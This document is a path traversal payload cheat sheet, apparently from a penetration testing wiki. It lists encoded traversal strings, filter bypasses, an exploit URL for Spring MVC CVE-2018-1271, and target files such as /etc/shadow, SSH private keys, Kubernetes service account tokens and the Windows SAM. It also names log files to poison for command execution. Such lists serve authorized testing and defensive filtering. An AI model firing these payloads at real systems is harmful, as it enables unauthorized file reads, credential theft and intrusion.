Path Traversal
Path traversal payloads and techniques.
Basic Payloads#
/etc/passwd
../../../../etc/passwd
..../..../..../..../etc/passwd
..//..//..//..//etc/passwd
..//..//..//..//etc//passwd
....//....//....//....//etc//passwd
....//....//....//....//etc/passwdCheck double encode URL
Basic Exploitation#
We can use the .. characters to access the parent directory.
The following encodings can help bypass poorly implemented filters:
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216Unicode Encoding#
16 bits Unicode:
. = %u002e
/ = %u2215
\ = %u2216UTF-8 Unicode:
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5cBypass Techniques#
When "../" is replaced by ""#
Duplicate them:
..././
...\.\ With ;#
..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt Double URL encoding#
. = %252e
/ = %252f
\ = %255cExample: Spring MVC Directory Traversal (CVE-2018-1271)
http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.iniUNC Bypass (Windows)#
\\localhost\c$\windows\win.iniNGINX / ALB Bypass#
http://nginx-server/../../ → 400 Bad Request
http://nginx-server////////../../ → WorksJava Bypass#
url:file:///etc/passwd
url:http://127.0.0.1:8080Interesting Files#
Linux#
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.dbWindows#
Always existing files (good for testing path traversal):
c:\windows\system32\license.rtf
c:\windows\system32\eula.txtOther interesting files:
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/system volume information/wpsettings.dat
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/systemLog Files for Exploitation#
These log files can often be included with an evil payload to achieve command execution:
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mailTechniques#
/etc/passwd ../../../../etc/passwd ..../..../..../..../etc/passwd ..//..//..//..//etc/passwd ..//..//..//..//etc//passwd ....//....//....//....//etc//passwd ....//....//....//....//etc/passwd ../../../etc/passwd%00.png check double encode URL
you can check this repos !! https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI (opens in a new tab) and https://github.com/fuzzdb-project/fuzzdb (opens in a new tab)